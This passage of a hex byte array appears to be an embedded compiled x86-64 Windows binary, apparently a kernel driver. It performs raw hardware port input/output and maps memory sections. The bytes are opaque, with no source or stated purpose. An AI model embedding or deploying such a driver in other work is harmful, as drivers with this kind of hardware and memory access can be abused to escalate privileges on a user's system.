0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, - 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, - 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, - 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, - 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, - 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, - 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, - 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, - 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, - 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, - 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, - 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, - 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, - 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, - 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, - 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, - 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, - 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, - 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, - 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, - 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, - 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, - 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, - 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, - 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, - 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, - 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, - 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, - 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, - 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, - 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, - 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, - 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, - 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, - 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, - 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, - 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, - 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, - 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, - 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, - 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, - 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, - 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, - 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, - 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, - 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, - 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, - 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, - 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, - 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, - 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, - 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, - 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, - 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, - 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, - 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, - 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 0x49, - 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, - 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, - 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, - 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, - 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, - 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, - 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, - 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, - 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, - 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, - 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, - 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, - 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, - 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 0x08, 0x00, 0x00, 0x44, 0x8B, - 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, - 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, - 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, - 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, - 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, - 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, - 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, - 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, - 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, - 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, - 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 0x43, 0x2C, 0x0F, 0xB7, 0x45, - 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, - 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, - 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, - 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, - 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, - 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, - 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, - 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, - 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, - 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, - 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, - 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, - 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, - 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, - 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, - 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, - 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, - 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, - 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, - 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, - 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, - 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, - 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, - 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, - 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, - 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, - 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, - 0x8A, 0xD8, 0x41, 0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, - 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, - 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, - 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, - 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, - 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, - 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, - 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, - 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, - 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, - 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, - 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, - 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, - 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, - 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, - 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, - 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, - 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, - 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, - 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, - 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, - 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, - 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, - 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, - 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, - 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, - 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, - 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, - 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, - 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, - 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, - 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, - 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 0x4C, 0x8B, 0xC7, - 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, - 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, - 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, - 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, - 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, - 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, - 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, - 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, - 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, - 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, - 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, - 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, - 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, - 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, - 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, - 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, - 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, - 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, - 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, - 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, - 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, - 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, - 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, - 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, - 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, - 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, - 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, - 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, - 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, - 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, - 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, - 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, - 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, - 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, - 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, - 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, - 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, - 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, - 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, - 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, - 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, - 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, - 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, - 